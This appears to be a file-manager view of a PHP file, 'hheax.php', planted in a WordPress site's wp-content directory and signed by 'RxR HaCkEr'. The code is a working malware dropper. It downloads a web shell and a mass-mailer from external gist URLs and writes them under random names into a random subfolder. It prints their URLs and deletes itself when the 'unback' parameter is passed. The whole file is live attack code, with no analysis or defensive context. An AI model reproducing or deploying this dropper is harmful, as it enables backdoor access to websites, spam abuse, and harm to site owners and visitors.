File "hheax.php"
Full path: /home/qooetu/costes.qooetu.com/wp-content/hheax.php
File
size: 1.93 B
MIME-type: text/x-c
Charset: utf-8
Download Open Edit Advanced Editor &nnbsp; Back
<?php
# Coded By RxR HaCkEr
function Domain(){
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$hostUrl = $protocol . '://' . $host;
return $hostUrl;
}
function generateRandomName($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomName = '';
for ($i = 0; $i < $length; $i++) {
$randomName .= $characters[random_int(0, strlen($characters) - 1)];
}
return $randomName;
}
$hostdomain = Domain();
$currentDirectory = dirname(__FILE__);
$folders = array_filter(glob($currentDirectory . '/*'), 'is_dir');
$randomNameFileshell = generateRandomName(8) . '.php';
$randomNameFilemailer = generateRandomName(7) . '.php';
if (empty($folders)) {
die('No Folder there ');
} else {
$randomFolders = $folders[array_rand($folders)];
$parts_folder = explode('/', $randomFolders);
$randomFolderName = end($parts_folder);
$randomFolderPath = $currentDirectory . '/' . $randomFolderName ;
$shellPath = $randomFolderPath . '/'. $randomNameFileshell;
$contet_shell = file_get_contents('https://gist.githubusercontent.com/xsa404132/4da9b2d747b06feb63c0492c3a322270/raw/397b5650752ecc0e7faddad47bad941d2577f4f5/gistfile1.txt');
file_put_contents($shellPath, $contet_shell);
$mailerPath = $randomFolderPath . '/'. $randomNameFilemailer;
$contet_mailer = file_get_contents('https://gist.githubusercontent.com/xsa404132/04123a680b69192fb06a1106fe60ee91/raw/2aa7d8eab730ebc7b7e1972c77e77859df25e50a/gistfile1.txt');
file_put_contents($mailerPath, $contet_mailer);
$urlshell = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFileshell;
$urlmailer = $hostdomain . '/' .$randomFolderName .'/'.$randomNameFilemailer;
echo "shell -------> : <b><shell>$urlshell</shell></b></br>";
echo "Mailer ------>:<b><mailer>$urlmailer</mailer></b></br>";
}
if(isset($_GET['unback'])){
unlink(__FILE__);
}
?>